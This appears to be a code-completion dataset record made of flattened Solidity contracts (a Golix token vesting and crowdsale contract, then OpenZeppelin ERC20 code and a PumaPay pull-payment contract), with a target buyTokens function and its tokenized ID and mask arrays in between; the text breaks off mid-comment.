secs * @param _duration time in seconds of the period in which the tokens completely vest. ie 4 years in secs * @param _canSelfDestruct timestamp of when contract is able to selfdestruct */ function VestTokenAllocation ( ERC20 _token, address _tokenDistribution, uint256 _start, uint256 _cliff, uint256 _duration, uint256 _canSelfDestruct ) public { require(_token != address(0) && _cliff != 0); require(_cliff <= _duration); require(_start > now); require(_canSelfDestruct > _duration.add(_start)); duration = _duration; cliff = _start.add(_cliff); start = _start; golix = ERC20(_token); tokenDistribution = _tokenDistribution; canSelfDestruct = _canSelfDestruct; } modifier onlyOwnerOrTokenDistributionContract() { require(msg.sender == address(owner) || msg.sender == address(tokenDistribution)); _; } /** * @dev Adds vested token allocation * @param beneficiary Ethereum address of a person * @param allocationValue Number of tokens allocated to person */ function addVestTokenAllocation(address beneficiary, uint256 allocationValue) external onlyOwnerOrTokenDistributionContract { require(totalTokensLocked[beneficiary] == 0 && beneficiary != address(0)); // can only add once. allocatedTokens = allocatedTokens.add(allocationValue); require(allocatedTokens <= golix.balanceOf(this)); totalTokensLocked[beneficiary] = allocationValue; } /** * @notice Transfers vested tokens to beneficiary. */ function release() public { uint256 unreleased = releasableAmount(); require(unreleased > 0); releasedTokens[msg.sender] = releasedTokens[msg.sender].add(unreleased); golix.safeTransfer(msg.sender, unreleased); emit Released(msg.sender, unreleased); } /** * @dev Calculates the amount that has already vested but hasn't been released yet. */ function releasableAmount() public view returns (uint256) { return vestedAmount().sub(releasedTokens[msg.sender]); } /** * @dev Calculates the amount that has already vested. */ function vestedAmount() public view returns (uint256) { uint256 totalBalance = totalTokensLocked[msg.sender]; if (now < cliff) { return 0; } else if (now >= start.add(duration)) { return totalBalance; } else { return totalBalance.mul(now.sub(start)).div(duration); } } /** * @dev allow for selfdestruct possibility and sending funds to owner */ function kill() public onlyOwner { require(now >= canSelfDestruct); uint256 balance = golix.balanceOf(this); if (balance > 0) { golix.transfer(msg.sender, balance); } selfdestruct(owner); } } // File: zeppelin-solidity/contracts/crowdsale/Crowdsale.sol /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale. * Crowdsales have a start and end timestamps, where investors can make * token purchases and the crowdsale will assign them tokens based * on a token per ETH rate. Funds collected are forwarded to a wallet * as they arrive. */ contract Crowdsale { using SafeMath for uint256; // The token being sold MintableToken public token; // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // address where funds are collected address public wallet; // how many token units a buyer gets per wei uint256 public rate; // amount of raised money in wei uint256 public weiRaised; /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public { require(_startTime >= now); require(_endTime >= _startTime); require(_rate > 0); require(_wallet != address(0)); token = createTokenContract(); startTime = _startTime; endTime = _endTime; rate = _rate; wallet = _wallet; } // fallback function can be used to buy tokens function () external payable { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = getTokenAmount(weiAmount); // update state weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } // @return true if crowdsale event has ended function hasEnded() public view returns (bool) { return now > endTime; } // creates the token to be sold. // override this method to have crowdsale of a specific mintable token. function createTokenContract() internal returns (MintableToken) { return new MintableToken(); } // Override this method to have a way to add business logic to your crowdsale when buying function getTokenAmount(uint256 weiAmount) internal view returns(uint256) { return weiAmount.mul(rate); } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { wallet.transfer(msg.value); } // @return true if the transaction can buy tokens function validPurchase() internal view returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } } // File: zeppelin-solidity/contracts/crowdsale/FinalizableCrowdsale.sol /** * @title FinalizableCrowdsale * @dev Extension of Crowdsale where an owner can do extra work * after finishing. */ contract FinalizableCrowdsale is Crowdsale, Ownable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); /** * @dev Must be called after crowdsale ends, to do some extra finalization * work. Calls the contract's finalization function. */ function finalize() onlyOwner public { require(!isFinalized); require(hasEnded()); finalization(); Finalized(); isFinalized = true; } /** * @dev Can be overridden to add finalization logic. The overriding function * should call super.finalization() to ensure the chain of finalization is * executed entirely. */ function finalization() internal { } } // File: contracts/GolixTokenDistribution.sol /** * @title Golix token distribution contract - crowdsale contract for the Golix tokens. * @author Gustavo Guimaraes - <[email protected]> */ contract GolixTokenDistribution is FinalizableCrowdsale { uint256 constant public TOTAL_TOKENS_SUPPLY = 1274240097e18; // 1,274,240,097 tokens // =~ 10% for Marketing, investment fund, partners uint256 constant public MARKETING_SHARE = 127424009e18; // =~ 15% for issued to investors, shareholders uint256 constant public SHAREHOLDERS_SHARE = 191136015e18; // =~ 25% for founding team, future employees uint256 constant public FOUNDERS_SHARE = 318560024e18; uint256 constant public TOTAL_TOKENS_FOR_CROWDSALE = 637120049e18; // =~ 50 % of total token supply VestTokenAllocation public teamVestTokenAllocation; VestTokenAllocation public contributorsVestTokenAllocation; address public marketingWallet; address public shareHoldersWallet; bool public canFinalizeEarly; bool public isStakingPeriod; mapping (address => uint256) public icoContributions; event MintedTokensFor(address indexed investor, uint256 tokensPurchased); event GLXStaked(address indexed staker, uint256 amount); /** * @dev Contract constructor function * @param _startTime The timestamp of the beginning of the crowdsale * @param _endTime Timestamp when the crowdsale will finish * @param _rate The token rate per ETH * @param _wallet Multisig wallet that will hold the crowdsale funds. * @param _marketingWallet address that will hold tokens for marketing campaign. * @param _shareHoldersWallet address that will distribute shareholders tokens. */ function GolixTokenDistribution ( uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet, address _marketingWallet, address _shareHoldersWallet ) public FinalizableCrowdsale() Crowdsale(_startTime, _endTime, _rate, _wallet) { require(_marketingWallet != address(0) && _shareHoldersWallet != address(0)); require( MARKETING_SHARE + SHAREHOLDERS_SHARE + FOUNDERS_SHARE + TOTAL_TOKENS_FOR_CROWDSALE == TOTAL_TOKENS_SUPPLY ); marketingWallet = _marketingWallet; shareHoldersWallet = _shareHoldersWallet; GolixToken(token).pause(); } /** * @dev Mint tokens for crowdsale participants * @param investorsAddress List of Purchasers addresses * @param amountOfTokens List of token amounts for investor */ function mintTokensForCrowdsaleParticipants(address[] investorsAddress, uint256[] amountOfTokens) external onlyOwner { require(investorsAddress.length == amountOfTokens.length); for (uint256 i = 0; i < investorsAddress.length; i++) { require(token.totalSupply().add(amountOfTokens[i]) <= TOTAL_TOKENS_FOR_CROWDSALE); token.mint(investorsAddress[i], amountOfTokens[i]); icoContributions[investorsAddress[i]] = icoContributions[investorsAddress[i]].add(amountOfTokens[i]); emit MintedTokensFor(investorsAddress[i], amountOfTokens[i]); } } // override buytokens so all minting comes from Golix function buyTokens(address beneficiary) public payable { revert(); } /** * @dev Set addresses which should receive the vested team tokens share on finalization * @param _teamVestTokenAllocation address of team and advisor allocation contract * @param _contributorsVestTokenAllocation address of ico contributors * who for glx staking event in case there is still left over tokens from crowdsale */ function setVestTokenAllocationAddresses ( address _teamVestTokenAllocation, address _contributorsVestTokenAllocation ) public onlyOwner { require(_teamVestTokenAllocation != address(0) && _contributorsVestTokenAllocation != address(0)); teamVestTokenAllocation = VestTokenAllocation(_teamVestTokenAllocation); contributorsVestTokenAllocation = VestTokenAllocation(_contributorsVestTokenAllocation); } // overriding Crowdsale#hasEnded to add cap logic // @return true if crowdsale event has ended function hasEnded() public view returns (bool) { if (canFinalizeEarly) { return true; } return super.hasEnded(); } /** * @dev Allow for staking of GLX tokens from crowdsale participants * only works if tokens from token distribution are not sold out. * investors must have GLX tokens in the same amount as it purchased during crowdsale */ function stakeGLXForContributors() public { uint256 senderGlxBalance = token.balanceOf(msg.sender); require(senderGlxBalance == icoContributions[msg.sender] && isStakingPeriod); GolixToken(token).stakeGLX(msg.sender, contributorsVestTokenAllocation); contributorsVestTokenAllocation.addVestTokenAllocation(msg.sender, senderGlxBalance); emit GLXStaked(msg.sender, senderGlxBalance); } /** * @dev enables early finalization of crowdsale */ function prepareForEarlyFinalization() public onlyOwner { canFinalizeEarly = true; } /** * @dev disables staking period */ function disableStakingPeriod() public onlyOwner { isStakingPeriod = false; } /** * @dev Creates Golix token contract. This is called on the constructor function of the Crowdsale contract */ function createTokenContract() internal returns (MintableToken) { return new GolixToken(); } /** * @dev finalizes crowdsale */ function finalization() internal { // This must have been set manually prior to finalize() call. require(teamVestTokenAllocation != address(0) && contributorsVestTokenAllocation != address(0)); if (TOTAL_TOKENS_FOR_CROWDSALE > token.totalSupply()) { uint256 remainingTokens = TOTAL_TOKENS_FOR_CROWDSALE.sub(token.totalSupply()); token.mint(contributorsVestTokenAllocation, remainingTokens); isStakingPeriod = true; } // final minting token.mint(marketingWallet, MARKETING_SHARE); token.mint(shareHoldersWallet, SHAREHOLDERS_SHARE); token.mint(teamVestTokenAllocation, FOUNDERS_SHARE); token.finishMinting(); GolixToken(token).unpause(); super.finalization(); } }
override buytokens so all minting comes from Golix
function buyTokens(address beneficiary) public payable { revert(); }
2,535,150
[ 1, 10601, 30143, 7860, 1427, 777, 312, 474, 310, 14535, 628, 611, 355, 697, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 30143, 5157, 12, 2867, 27641, 74, 14463, 814, 13, 1071, 8843, 429, 288, 203, 3639, 15226, 5621, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.24; // File: node_modules/openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } // File: node_modules/openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: node_modules/openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: node_modules/openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: node_modules/openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: node_modules/openzeppelin-solidity/contracts/token/ERC20/MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) public hasMintPermission canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public onlyOwner canMint returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } // File: contracts/PumaPayToken.sol /// PumaPayToken inherits from MintableToken, which in turn inherits from StandardToken. /// Super is used to bypass the original function signature and include the whenNotMinting modifier. contract PumaPayToken is MintableToken { string public name = "PumaPay"; string public symbol = "PMA"; uint8 public decimals = 18; constructor() public { } /// This modifier will be used to disable all ERC20 functionalities during the minting process. modifier whenNotMinting() { require(mintingFinished); _; } /// @dev transfer token for a specified address /// @param _to address The address to transfer to. /// @param _value uint256 The amount to be transferred. /// @return success bool Calling super.transfer and returns true if successful. function transfer(address _to, uint256 _value) public whenNotMinting returns (bool) { return super.transfer(_to, _value); } /// @dev Transfer tokens from one address to another. /// @param _from address The address which you want to send tokens from. /// @param _to address The address which you want to transfer to. /// @param _value uint256 the amount of tokens to be transferred. /// @return success bool Calling super.transferFrom and returns true if successful. function transferFrom(address _from, address _to, uint256 _value) public whenNotMinting returns (bool) { return super.transferFrom(_from, _to, _value); } } // File: contracts/PumaPayPullPayment.sol /// @title PumaPay Pull Payment - Contract that facilitates our pull payment protocol /// @author PumaPay Dev Team - <[email protected]> contract PumaPayPullPayment is Ownable { using SafeMath for uint256; /// =============================================================================================================== /// Events /// =============================================================================================================== event LogExecutorAdded(address executor); event LogExecutorRemoved(address executor); event LogPaymentRegistered(address clientAddress, address beneficiaryAddress, string paymentID); event LogPaymentCancelled(address clientAddress, address beneficiaryAddress, string paymentID); event LogPullPaymentExecuted(address clientAddress, address beneficiaryAddress, string paymentID); event LogSetExchangeRate(string currency, uint256 exchangeRate); /// =============================================================================================================== /// Constants /// =============================================================================================================== uint256 constant private DECIMAL_FIXER = 10000000000; /// 1e^10 - This transforms the Rate from decimals to uint256 uint256 constant private FIAT_TO_CENT_FIXER = 100; /// Fiat currencies have 100 cents in 1 basic monetary unit. uint256 constant private ONE_ETHER = 1 ether; /// PumaPay token has 18 decimals - same as one ETHER uint256 constant private MINIMUM_AMOUNT_OF_ETH_FOR_OPARATORS = 0.01 ether; /// minimum amount of ETHER the owner/executor should have uint256 constant private OVERFLOW_LIMITER_NUMBER = 10 ** 20; /// 1e^20 - This number is used to prevent numeric overflows /// =============================================================================================================== /// Members /// =============================================================================================================== PumaPayToken public token; mapping(string => uint256) private exchangeRates; mapping(address => bool) public executors; mapping(address => mapping(address => PullPayment)) public pullPayments; struct PullPayment { string merchantID; /// ID of the merchant string paymentID; /// ID of the payment string currency; /// 3-letter abbr i.e. 'EUR' / 'USD' etc. uint256 initialPaymentAmountInCents; /// initial payment amount in fiat in cents uint256 fiatAmountInCents; /// payment amount in fiat in cents uint256 frequency; /// how often merchant can pull - in seconds uint256 numberOfPayments; /// amount of pull payments merchant can make uint256 startTimestamp; /// when subscription starts - in seconds uint256 nextPaymentTimestamp; /// timestamp of next payment uint256 lastPaymentTimestamp; /// timestamp of last payment uint256 cancelTimestamp; /// timestamp the payment was cancelled } /// =============================================================================================================== /// Modifiers /// =============================================================================================================== modifier isExecutor() { require(executors[msg.sender]); _; } modifier executorExists(address _executor) { require(executors[_executor]); _; } modifier executorDoesNotExists(address _executor) { require(!executors[_executor]); _; } modifier paymentExists(address _client, address _beneficiary) { require(doesPaymentExist(_client, _beneficiary)); _; } modifier paymentNotCancelled(address _client, address _beneficiary) { require(pullPayments[_client][_beneficiary].cancelTimestamp == 0); _; } modifier isValidPullPaymentRequest(address _client, address _beneficiary, string _paymentID) { require( (pullPayments[_client][_beneficiary].initialPaymentAmountInCents > 0 || (now >= pullPayments[_client][_beneficiary].startTimestamp && now >= pullPayments[_client][_beneficiary].nextPaymentTimestamp) ) && pullPayments[_client][_beneficiary].numberOfPayments > 0 && (pullPayments[_client][_beneficiary].cancelTimestamp == 0 || pullPayments[_client][_beneficiary].cancelTimestamp > pullPayments[_client][_beneficiary].nextPaymentTimestamp) && keccak256( abi.encodePacked(pullPayments[_client][_beneficiary].paymentID) ) == keccak256(abi.encodePacked(_paymentID)) ); _; } modifier isValidDeletionRequest(string paymentID, address client, address beneficiary) { require( beneficiary != address(0) && client != address(0) && bytes(paymentID).length != 0 ); _; } modifier isValidAddress(address _address) { require(_address != address(0)); _; } /// =============================================================================================================== /// Constructor /// =============================================================================================================== /// @dev Contract constructor - sets the token address that the contract facilitates. /// @param _token Token Address. constructor (PumaPayToken _token) public { require(_token != address(0)); token = _token; } // @notice Will receive any eth sent to the contract function() external payable { } /// =============================================================================================================== /// Public Functions - Owner Only /// =============================================================================================================== /// @dev Adds a new executor. - can be executed only by the onwer. /// When adding a new executor 1 ETH is tranferred to allow the executor to pay for gas. /// The balance of the owner is also checked and if funding is needed 1 ETH is transferred. /// @param _executor - address of the executor which cannot be zero address. function addExecutor(address _executor) public onlyOwner isValidAddress(_executor) executorDoesNotExists(_executor) { _executor.transfer(1 ether); executors[_executor] = true; if (isFundingNeeded(owner)) { owner.transfer(1 ether); } emit LogExecutorAdded(_executor); } /// @dev Removes a new executor. - can be executed only by the onwer. /// The balance of the owner is checked and if funding is needed 1 ETH is transferred. /// @param _executor - address of the executor which cannot be zero address. function removeExecutor(address _executor) public onlyOwner isValidAddress(_executor) executorExists(_executor) { executors[_executor] = false; if (isFundingNeeded(owner)) { owner.transfer(1 ether); } emit LogExecutorRemoved(_executor); } /// @dev Sets the exchange rate for a currency. - can be executed only by the onwer. /// Emits 'LogSetExchangeRate' with the currency and the updated rate. /// The balance of the owner is checked and if funding is needed 1 ETH is transferred. /// @param _currency - address of the executor which cannot be zero address /// @param _rate - address of the executor which cannot be zero address function setRate(string _currency, uint256 _rate) public onlyOwner returns (bool) { exchangeRates[_currency] = _rate; emit LogSetExchangeRate(_currency, _rate); if (isFundingNeeded(owner)) { owner.transfer(1 ether); } return true; } /// =============================================================================================================== /// Public Functions - Executors Only /// =============================================================================================================== /// @dev Registers a new pull payment to the PumaPay Pull Payment Contract - The registration can be executed only by one of the executors of the PumaPay Pull Payment Contract /// and the PumaPay Pull Payment Contract checks that the pull payment has been singed by the client of the account. /// The balance of the executor (msg.sender) is checked and if funding is needed 1 ETH is transferred. /// Emits 'LogPaymentRegistered' with client address, beneficiary address and paymentID. /// @param v - recovery ID of the ETH signature. - https://github.com/ethereum/EIPs/issues/155 /// @param r - R output of ECDSA signature. /// @param s - S output of ECDSA signature. /// @param _merchantID - ID of the merchant. /// @param _paymentID - ID of the payment. /// @param _client - client address that is linked to this pull payment. /// @param _beneficiary - address that is allowed to execute this pull payment. /// @param _currency - currency of the payment / 3-letter abbr i.e. 'EUR'. /// @param _fiatAmountInCents - payment amount in fiat in cents. /// @param _frequency - how often merchant can pull - in seconds. /// @param _numberOfPayments - amount of pull payments merchant can make /// @param _startTimestamp - when subscription starts - in seconds. function registerPullPayment( uint8 v, bytes32 r, bytes32 s, string _merchantID, string _paymentID, address _client, address _beneficiary, string _currency, uint256 _initialPaymentAmountInCents, uint256 _fiatAmountInCents, uint256 _frequency, uint256 _numberOfPayments, uint256 _startTimestamp ) public isExecutor() { require( bytes(_paymentID).length > 0 && bytes(_currency).length > 0 && _client != address(0) && _beneficiary != address(0) && _fiatAmountInCents > 0 && _frequency > 0 && _frequency < OVERFLOW_LIMITER_NUMBER && _numberOfPayments > 0 && _startTimestamp > 0 && _startTimestamp < OVERFLOW_LIMITER_NUMBER ); pullPayments[_client][_beneficiary].currency = _currency; pullPayments[_client][_beneficiary].initialPaymentAmountInCents = _initialPaymentAmountInCents; pullPayments[_client][_beneficiary].fiatAmountInCents = _fiatAmountInCents; pullPayments[_client][_beneficiary].frequency = _frequency; pullPayments[_client][_beneficiary].startTimestamp = _startTimestamp; pullPayments[_client][_beneficiary].numberOfPayments = _numberOfPayments; require(isValidRegistration(v, r, s, _client, _beneficiary, pullPayments[_client][_beneficiary])); pullPayments[_client][_beneficiary].merchantID = _merchantID; pullPayments[_client][_beneficiary].paymentID = _paymentID; pullPayments[_client][_beneficiary].nextPaymentTimestamp = _startTimestamp; pullPayments[_client][_beneficiary].lastPaymentTimestamp = 0; pullPayments[_client][_beneficiary].cancelTimestamp = 0; if (isFundingNeeded(msg.sender)) { msg.sender.transfer(1 ether); } emit LogPaymentRegistered(_client, _beneficiary, _paymentID); } /// @dev Deletes a pull payment for a beneficiary - The deletion needs can be executed only by one of the executors of the PumaPay Pull Payment Contract /// and the PumaPay Pull Payment Contract checks that the beneficiary and the paymentID have been singed by the client of the account. /// This method sets the cancellation of the pull payment in the pull payments array for this beneficiary specified. /// The balance of the executor (msg.sender) is checked and if funding is needed 1 ETH is transferred. /// Emits 'LogPaymentCancelled' with beneficiary address and paymentID. /// @param v - recovery ID of the ETH signature. - https://github.com/ethereum/EIPs/issues/155 /// @param r - R output of ECDSA signature. /// @param s - S output of ECDSA signature. /// @param _paymentID - ID of the payment. /// @param _client - client address that is linked to this pull payment. /// @param _beneficiary - address that is allowed to execute this pull payment. function deletePullPayment( uint8 v, bytes32 r, bytes32 s, string _paymentID, address _client, address _beneficiary ) public isExecutor() paymentExists(_client, _beneficiary) paymentNotCancelled(_client, _beneficiary) isValidDeletionRequest(_paymentID, _client, _beneficiary) { require(isValidDeletion(v, r, s, _paymentID, _client, _beneficiary)); pullPayments[_client][_beneficiary].cancelTimestamp = now; if (isFundingNeeded(msg.sender)) { msg.sender.transfer(1 ether); } emit LogPaymentCancelled(_client, _beneficiary, _paymentID); } /// =============================================================================================================== /// Public Functions /// =============================================================================================================== /// @dev Executes a pull payment for the msg.sender - The pull payment should exist and the payment request /// should be valid in terms of when it can be executed. /// Emits 'LogPullPaymentExecuted' with client address, msg.sender as the 